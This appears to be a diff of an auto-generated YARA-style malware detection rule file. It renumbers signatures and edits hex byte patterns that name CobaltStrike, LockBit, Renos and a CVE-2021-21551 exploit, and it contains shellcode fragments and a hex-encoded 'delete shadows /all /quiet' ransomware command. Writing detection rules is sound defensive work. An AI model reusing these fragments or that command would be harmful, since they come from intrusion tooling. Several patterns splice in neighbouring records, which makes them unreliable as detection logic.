"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95192,7 +101184,7 @@ rule _InfrastructureShared_8905{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*13876) >=1 } -rule _InfrastructureShared_8906{ +rule _InfrastructureShared_9457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95203,7 +101195,7 @@ rule _InfrastructureShared_8906{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*12600) >=1 } -rule _InfrastructureShared_8907{ +rule _InfrastructureShared_9458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95214,7 +101206,7 @@ rule _InfrastructureShared_8907{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*13670) >=1 } -rule _InfrastructureShared_8908{ +rule _InfrastructureShared_9459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95225,7 +101217,7 @@ rule _InfrastructureShared_8908{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*14179) >=1 } -rule _InfrastructureShared_8909{ +rule _InfrastructureShared_9460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95236,7 +101228,7 @@ rule _InfrastructureShared_8909{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*25652) >=1 } -rule _InfrastructureShared_8910{ +rule _InfrastructureShared_9461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -95247,7 +101239,7 @@ rule _InfrastructureShared_8910{ ((#a_4c_0 & 1)*21539+(#a_24_1 & 1)*-14736) >=1 } -rule _InfrastructureShared_8911{ +rule _InfrastructureShared_9462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -95259,7 +101251,7 @@ rule _InfrastructureShared_8911{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_74_2 & 1)*30049) >=1 } -rule _InfrastructureShared_8912{ +rule _InfrastructureShared_9463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -95271,7 +101263,7 @@ rule _InfrastructureShared_8912{ ((#a_5f_0 & 1)*25635+(#a_06_1 & 1)*-28672+(#a_90_2 & 1)*24931) >=1 } -rule _InfrastructureShared_8913{ +rule _InfrastructureShared_9464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -95284,7 +101276,7 @@ rule _InfrastructureShared_8913{ ((#a_54_0 & 1)*18467+(#a_c8_1 & 1)*784+(#a_28_2 & 1)*769+(#a_00_3 & 1)*272) >=1 } -rule _InfrastructureShared_8914{ +rule _InfrastructureShared_9465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95295,7 +101287,7 @@ rule _InfrastructureShared_8914{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*9482) >=2 } -rule _InfrastructureShared_8915{ +rule _InfrastructureShared_9466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95305,7 +101297,7 @@ rule _InfrastructureShared_8915{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8916{ +rule _InfrastructureShared_9467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95316,7 +101308,7 @@ rule _InfrastructureShared_8916{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28636) >=2 } -rule _InfrastructureShared_8917{ +rule _InfrastructureShared_9468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95327,7 +101319,7 @@ rule _InfrastructureShared_8917{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-14333) >=2 } -rule _InfrastructureShared_8918{ +rule _InfrastructureShared_9469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95338,7 +101330,7 @@ rule _InfrastructureShared_8918{ ((#a_46_0 & 1)*16675+(#a_96_1 & 1)*-14737) >=2 } -rule _InfrastructureShared_8919{ +rule _InfrastructureShared_9470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95349,7 +101341,7 @@ rule _InfrastructureShared_8919{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*1207) >=2 } -rule _InfrastructureShared_8920{ +rule _InfrastructureShared_9471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95360,7 +101352,7 @@ rule _InfrastructureShared_8920{ ((#a_54_0 & 1)*18467+(#a_c6_1 & 1)*25636) >=2 } -rule _InfrastructureShared_8921{ +rule _InfrastructureShared_9472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95371,7 +101363,7 @@ rule _InfrastructureShared_8921{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4607) >=2 } -rule _InfrastructureShared_8922{ +rule _InfrastructureShared_9473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95382,7 +101374,7 @@ rule _InfrastructureShared_8922{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*12845) >=2 } -rule _InfrastructureShared_8923{ +rule _InfrastructureShared_9474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -95393,18 +101385,30 @@ rule _InfrastructureShared_8923{ ((#a_54_0 & 1)*18467+(#a_7a_1 & 1)*27505) >=2 } -rule _InfrastructureShared_8924{ +rule _InfrastructureShared_9475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 42 48 21 4d 54 42 00 01 00 2b 01 65 48 8b 04 25 60 00 00 00 48 8b 40 18 48 8b 40 20 4c 8d 04 11 4c 8d 4a ff 01 d2 45 31 d2 44 0f } //21539 - $a_48_1 = {70 50 66 41 39 d3 01 00 25 01 44 8b 84 08 88 00 00 00 42 8b 54 00 14 42 8b 4c 00 1c 46 8b 4c 00 20 46 8b 44 00 24 49 01 c1 48 01 c1 49 01 c0 00 00 78 87 00 00 02 00 02 00 03 00 21 23 48 53 54 52 3a 54 5f 44 65 78 6a } //22711 + $a_48_1 = {70 50 66 41 39 d3 01 00 25 01 44 8b 84 08 88 00 00 00 42 8b 54 00 14 42 8b 4c 00 1c 46 8b 4c 00 20 46 8b 44 00 24 49 01 c1 48 01 c1 49 01 c0 00 00 78 87 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f } //22711 condition: ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*22711) >=2 } -rule _InfrastructureShared_8925{ +rule _InfrastructureShared_9476{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 43 6f 6d 69 63 61 6c 44 6f 6d 65 2e 41 21 64 68 61 00 01 00 21 01 4e 65 74 63 68 2e 46 6f 72 6d 73 2e 41 63 63 6f 75 6e 74 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 0b 01 4d 69 72 } //16675 + $a_65_1 = {69 72 00 01 00 21 01 68 6f 70 73 43 6f 6d 62 6f 42 6f 78 5f 53 65 6c 65 63 74 65 64 49 6e 64 65 78 43 68 61 6e 67 65 64 00 00 78 87 00 00 02 00 02 00 03 00 21 23 48 53 54 52 3a 54 5f 44 65 78 6a 65 63 74 72 61 2e 41 00 01 00 1e 01 c6 44 24 15 e9 c6 44 24 16 ec c6 44 24 17 f9 c6 44 24 18 e8 c6 44 24 19 ee c6 44 24 1a b4 01 } //25441 + $a_8b_2 = {33 c0 b1 } //7424 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25441+(#a_8b_2 & 1)*7424) >=2 + +} +rule _InfrastructureShared_9477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -95416,43 +101420,31 @@ rule _InfrastructureShared_8925{ ((#a_54_0 & 1)*18467+(#a_83_1 & 1)*8960+(#a_04_2 & 1)*-30543) >=2 } -rule _InfrastructureShared_8926{ +rule _InfrastructureShared_9478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 65 63 68 61 6e 67 2e 45 21 64 68 61 00 02 00 27 43 55 3a 5c 53 c7 90 01 02 90 02 04 6f 66 74 77 c7 90 01 02 90 02 04 61 72 65 5c c7 90 01 02 90 02 04 4d 69 63 72 90 00 02 00 1c 43 50 6f } //21283 - $a_90_1 = {02 90 02 04 52 65 64 69 c7 90 01 02 90 02 04 72 65 63 74 90 00 02 00 0f 43 f6 c9 9a 3b 73 05 ff 45 90 01 01 eb f2 90 00 00 00 78 87 00 00 02 00 02 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 2c 01 54 00 6a 00 65 00 66 00 43 00 62 00 73 00 5d 00 50 00 66 00 6e 00 44 00 76 00 74 00 75 00 70 00 6e 00 55 00 69 00 66 00 6e 00 66 00 01 00 12 01 74 00 7a 00 74 00 75 00 66 00 6e 00 34 00 33 00 5d 00 01 00 1a 01 51 00 73 00 70 00 68 00 73 00 62 00 6e 00 21 00 47 00 6a 00 6d 00 66 00 74 00 00 00 78 87 00 00 02 00 02 00 04 00 21 23 54 45 4c 3a 54 72 } //29811 - $a_6e_2 = {57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 4e 42 21 4d 54 42 00 01 00 07 01 48 89 5c 24 08 48 89 01 00 0a 01 0f b6 04 3a 33 d2 41 30 40 01 02 00 1a 01 49 be 77 69 6e 69 6e 65 74 00 41 56 49 89 e6 4c 89 f1 41 ba 4c 77 26 07 ff d5 02 00 1c 01 48 ff c9 41 8b 34 88 48 01 d6 4d } //27247 + $a_90_1 = {02 90 02 04 52 65 64 69 c7 90 01 02 90 02 04 72 65 63 74 90 00 02 00 0f 43 f6 c9 9a 3b 73 05 ff 45 90 01 01 eb f2 90 00 00 00 78 87 00 00 02 00 02 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 2c 01 54 00 6a 00 65 00 66 00 43 00 62 00 73 00 5d 00 50 00 66 00 6e 00 44 00 76 00 74 00 75 00 70 00 6e 00 55 00 69 00 66 00 6e 00 66 00 01 00 12 01 74 00 7a 00 74 00 75 00 66 00 6e 00 34 00 33 00 5d 00 01 00 1a 01 51 00 73 00 70 00 68 00 73 00 62 00 6e 00 21 00 47 00 6a 00 6d 00 66 00 74 00 00 00 78 87 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 54 } //29811 + $a_61_2 = {44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 4f 43 00 01 00 10 03 80 38 8b 0f 85 90 09 05 00 a1 90 01 03 00 90 00 01 00 0a 03 80 38 55 75 90 14 ff e0 90 00 01 00 0b 03 80 38 55 0f 85 90 16 ff 13 90 00 01 00 0f 03 80 38 8b 75 90 09 05 00 a1 90 01 03 00 90 00 01 00 10 03 80 38 55 0f 85 90 09 05 } //28530 condition: - ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*29811+(#a_6e_2 & 1)*27247) >=2 + ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*29811+(#a_61_2 & 1)*28530) >=2 } -rule _InfrastructureShared_8927{ +rule _InfrastructureShared_9479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 2c 01 54 00 6a 00 65 00 66 00 43 00 62 00 73 00 5d 00 50 00 66 00 6e 00 44 00 76 00 74 00 75 00 70 00 6e 00 55 00 69 00 66 00 6e 00 66 00 01 00 12 01 74 00 7a 00 74 00 75 00 66 00 6e 00 34 00 33 00 5d 00 01 00 1a 01 51 00 73 00 70 00 68 00 73 00 62 00 6e 00 21 00 } //25635 - $a_00_1 = {6d 00 66 00 74 00 00 00 78 87 00 00 02 00 02 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 4e 42 21 4d 54 42 00 01 00 07 01 48 89 5c 24 08 48 89 01 00 0a 01 0f b6 04 3a 33 d2 41 30 40 01 02 00 1a 01 49 be 77 69 6e 69 6e 65 74 00 41 56 49 89 e6 4c 89 f1 41 } //71 - $a_26_2 = {ff d5 02 00 1c 01 48 ff c9 41 8b 34 88 48 01 d6 4d 31 c9 48 31 c0 ac 41 c1 c9 0d 41 01 c1 38 e0 75 f1 00 00 78 87 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 4f 43 00 01 00 10 03 80 38 8b 0f 85 90 09 05 00 a1 ?? ?? ?? 00 90 00 01 00 0a 03 80 38 55 75 90 14 ff e0 } //19642 + $a_00_1 = {6d 00 66 00 74 00 00 00 78 87 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 4f 43 00 01 00 10 03 80 38 8b 0f 85 90 09 05 00 a1 ?? ?? ?? 00 90 00 01 00 0a 03 80 38 55 75 90 14 ff e0 90 00 01 00 0b 03 80 38 55 0f 85 90 16 ff 13 } //71 + $a_03_2 = {80 38 8b 75 90 09 05 00 a1 ?? ?? ?? 00 } //1 condition: - ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*71+(#a_26_2 & 1)*19642) >=2 + ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*71+(#a_03_2 & 1)*1) >=2 } -rule _InfrastructureShared_8928{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 4e 42 21 4d 54 42 00 01 00 07 01 48 89 5c 24 08 48 89 01 00 0a 01 0f b6 04 3a 33 d2 41 30 40 01 02 00 1a 01 49 be 77 69 6e 69 } //21539 - $a_00_1 = {41 56 49 89 e6 4c 89 f1 41 ba 4c 77 26 07 ff d5 02 00 1c 01 48 ff c9 41 8b 34 88 48 01 d6 4d 31 c9 48 31 c0 ac 41 c1 c9 0d 41 01 c1 38 e0 75 f1 00 00 78 87 00 00 02 00 02 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 4f 43 00 01 00 10 03 80 38 8b 0f 85 90 09 05 00 a1 90 01 03 } //25966 - $a_80_3 = {55 75 90 } //Uu� 2560 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*25966+(#a_80_3 & 1)*2560) >=2 - -} -rule _InfrastructureShared_8929{ +rule _InfrastructureShared_9480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -95464,7 +101456,7 @@ rule _InfrastructureShared_8929{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*3840+(#a_03_4 & 1)*1) >=2 } -rule _InfrastructureShared_8930{ +rule _InfrastructureShared_9481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -95473,24 +101465,36 @@ rule _InfrastructureShared_8930{ $a_00_1 = {0c } //29769 $a_30_2 = {4c 6a 49 70 41 43 30 39 01 00 10 01 43 41 34 4c 4c 53 63 6c 63 51 51 36 4b 42 73 59 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 43 6f 6e 73 74 72 75 63 74 6f 72 3a 4d 53 49 4c 2f 41 72 63 6f } //16641 $a_21_3 = {41 54 00 01 00 3d 01 43 3a 5c 41 72 71 75 69 76 6f 73 20 64 65 20 70 72 6f 67 72 61 6d 61 73 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 75 64 69 6f 5c 56 42 39 38 5c 56 42 36 2e } //11885 - $a_01_4 = {00 0e 01 4d 4d 4d 4d 4d 00 50 72 6f 6a 65 63 74 31 01 00 05 01 46 6f 72 6d 31 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 70 70 73 4f 66 66 65 72 4d 61 6e 61 67 65 72 00 } //19535 + $a_01_4 = {00 0e 01 4d 4d 4d 4d 4d 00 50 72 6f 6a 65 63 74 31 01 00 05 01 46 6f 72 6d 31 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 44 6f 53 3a 4d 53 49 4c 2f 45 6d 70 74 79 53 68 65 6c 6c 2e 41 21 } //19535 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29769+(#a_30_2 & 1)*16641+(#a_21_3 & 1)*11885+(#a_01_4 & 1)*19535) >=2 } -rule _InfrastructureShared_8931{ +rule _InfrastructureShared_9482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {43 6f 6e 73 74 72 75 63 74 6f 72 3a 4d 53 49 4c 2f 41 72 63 6f 6d 2e 41 21 52 41 54 00 01 00 3d 01 43 3a 5c 41 72 71 75 69 76 6f 73 20 64 65 20 70 72 6f 67 72 61 6d 61 73 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 } //16675 - $a_69_1 = {5c 56 42 39 38 5c 56 42 36 2e 4f 4c 42 01 00 0e 01 4d 4d 4d 4d 4d 00 50 72 6f 6a 65 63 74 31 01 00 05 01 46 6f 72 6d 31 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 70 70 73 4f 66 66 65 72 4d 61 6e 61 67 65 72 00 01 00 17 01 41 44 4b 41 70 70 73 4f 66 66 65 72 4d 61 6e 61 } //30068 - $a_2e_2 = {64 62 01 00 1e 01 64 6c 6c 5f 77 72 61 70 70 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 5f 25 6c 75 5f 25 6c 75 01 00 22 01 6d 00 61 00 78 00 5f 00 6f 00 66 00 66 00 65 00 72 00 5f 00 73 00 63 00 72 00 65 00 65 00 6e 00 73 00 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4c 6f 63 6b 42 69 74 44 65 } //25959 + $a_69_1 = {5c 56 42 39 38 5c 56 42 36 2e 4f 4c 42 01 00 0e 01 4d 4d 4d 4d 4d 00 50 72 6f 6a 65 63 74 31 01 00 05 01 46 6f 72 6d 31 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 44 6f 53 3a 4d 53 49 4c 2f 45 6d 70 74 79 53 68 65 6c 6c 2e 41 21 64 68 61 00 01 00 34 01 64 00 65 00 6c 00 65 00 74 00 65 00 } //30068 + $a_00_2 = {68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 01 00 0f 01 52 65 67 69 73 74 72 79 43 6c 65 61 6e 65 72 01 00 10 01 57 69 70 65 57 69 74 68 50 72 69 6f 72 69 74 79 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 70 70 73 4f 66 66 65 72 4d 61 6e 61 67 65 72 00 } //32 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30068+(#a_2e_2 & 1)*25959) >=3 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30068+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_8932{ +rule _InfrastructureShared_9483{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {44 6f 53 3a 4d 53 49 4c 2f 45 6d 70 74 79 53 68 65 6c 6c 2e 41 21 64 68 61 00 01 00 34 01 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 } //16675 + $a_00_1 = {74 00 01 00 0f 01 52 65 67 69 73 74 72 79 43 6c 65 61 6e 65 72 01 00 10 01 57 69 70 65 57 69 74 68 50 72 69 6f 72 69 74 79 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 41 70 70 73 4f 66 66 65 72 4d 61 6e 61 67 65 72 00 01 00 17 01 41 44 4b 41 70 70 73 4f 66 66 65 72 4d 61 6e 61 } //105 + $a_2e_2 = {64 62 01 00 1e 01 64 6c 6c 5f 77 72 61 70 70 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 5f 25 6c 75 5f 25 6c 75 01 00 22 01 6d 00 61 00 78 00 5f 00 6f 00 66 00 66 00 65 00 72 00 5f 00 73 00 63 00 72 00 65 00 65 00 6e 00 73 00 00 00 78 87 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4c 6f 63 6b 42 69 74 44 65 } //25959 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_2e_2 & 1)*25959) >=3 + +} +rule _InfrastructureShared_9484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95502,7 +101506,7 @@ rule _InfrastructureShared_8932{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*27685+(#a_20_2 & 1)*15648) >=3 } -rule _InfrastructureShared_8933{ +rule _InfrastructureShared_9485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95513,7 +101517,7 @@ rule _InfrastructureShared_8933{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29797) >=3 } -rule _InfrastructureShared_8934{ +rule _InfrastructureShared_9486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95525,7 +101529,7 @@ rule _InfrastructureShared_8934{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*28521+(#a_01_2 & 1)*3843) >=3 } -rule _InfrastructureShared_8935{ +rule _InfrastructureShared_9487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95535,7 +101539,7 @@ rule _InfrastructureShared_8935{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_8936{ +rule _InfrastructureShared_9488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95547,7 +101551,7 @@ rule _InfrastructureShared_8936{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_4c_2 & 1)*12544) >=3 } -rule _InfrastructureShared_8937{ +rule _InfrastructureShared_9489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95559,7 +101563,7 @@ rule _InfrastructureShared_8937{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_66_2 & 1)*21248) >=3 } -rule _InfrastructureShared_8938{ +rule _InfrastructureShared_9490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95571,7 +101575,7 @@ rule _InfrastructureShared_8938{ ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*28789+(#a_3a_2 & 1)*28527) >=3 } -rule _InfrastructureShared_8939{ +rule _InfrastructureShared_9491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95583,7 +101587,7 @@ rule _InfrastructureShared_8939{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*-1+(#a_00_2 & 1)*52) >=3 } -rule _InfrastructureShared_8940{ +rule _InfrastructureShared_9492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95595,7 +101599,7 @@ rule _InfrastructureShared_8940{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_69_2 & 1)*25972) >=3 } -rule _InfrastructureShared_8941{ +rule _InfrastructureShared_9493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95607,31 +101611,43 @@ rule _InfrastructureShared_8941{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25454+(#a_69_2 & 1)*-32469) >=3 } -rule _InfrastructureShared_8942{ +rule _InfrastructureShared_9494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 59 56 31 32 33 21 4d 54 42 00 01 00 19 81 01 73 6b 65 6c 6c 69 67 20 74 79 63 68 6f 6e 69 63 20 68 61 76 6e 65 64 65 73 01 00 2b 81 01 69 61 67 74 74 61 67 65 6c 73 65 73 73 6b 65 6d 61 65 72 20 } //18467 $a_6b_1 = {70 65 6e 69 61 20 76 61 6c 67 66 6f 72 73 6b 65 72 65 01 00 0a 81 01 6c 69 6e 6b 65 64 69 74 6f 72 00 00 78 87 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 44 44 30 31 21 4d 54 42 00 01 00 25 81 01 6e 6f 6e 61 74 74 61 69 6e 61 62 6c 65 20 61 64 72 69 61 6d 79 63 69 6e 20 73 65 6c 76 70 6c 61 67 65 } //25964 - $a_01_2 = {00 16 81 01 73 75 6e 62 65 61 6d 79 20 76 65 6e 6c 69 67 74 73 69 6e 64 65 74 01 00 14 81 01 70 6c 61 6e 6c 67 6e 69 6e 67 73 72 61 61 64 73 2e 65 78 65 00 00 78 87 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 31 2d 32 31 35 35 31 2e 41 00 01 } //28274 + $a_01_2 = {00 16 81 01 73 75 6e 62 65 61 6d 79 20 76 65 6e 6c 69 67 74 73 69 6e 64 65 74 01 00 14 81 01 70 6c 61 6e 6c 67 6e 69 6e 67 73 72 61 61 64 73 2e 65 78 65 00 00 78 87 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 48 00 01 00 19 03 48 89 c2 48 8b 85 } //28274 condition: ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*25964+(#a_01_2 & 1)*28274) >=3 } -rule _InfrastructureShared_8943{ +rule _InfrastructureShared_9495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 44 44 30 31 21 4d 54 42 00 01 00 25 81 01 6e 6f 6e 61 74 74 61 69 6e 61 62 6c 65 20 61 64 72 69 61 6d 79 63 69 6e 20 73 65 6c 76 70 6c 61 67 65 72 6e 65 01 00 16 81 01 73 75 6e 62 65 61 6d 79 20 } //18467 - $a_6c_1 = {67 74 73 69 6e 64 65 74 01 00 14 81 01 70 6c 61 6e 6c 67 6e 69 6e 67 73 72 61 61 64 73 2e 65 78 65 00 00 78 87 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 31 2d 32 31 35 35 31 2e 41 00 01 00 0e 81 01 5c 5c 2e 5c 44 42 55 74 69 6c 5f 32 5f 33 01 00 24 81 01 4f 70 65 6e } //25974 - $a_61_2 = {68 61 6e 64 6c 65 20 74 6f 20 44 42 55 74 69 6c 5f 32 5f 33 20 64 72 69 76 65 72 01 00 19 81 01 } //25701 + $a_6c_1 = {67 74 73 69 6e 64 65 74 01 00 14 81 01 70 6c 61 6e 6c 67 6e 69 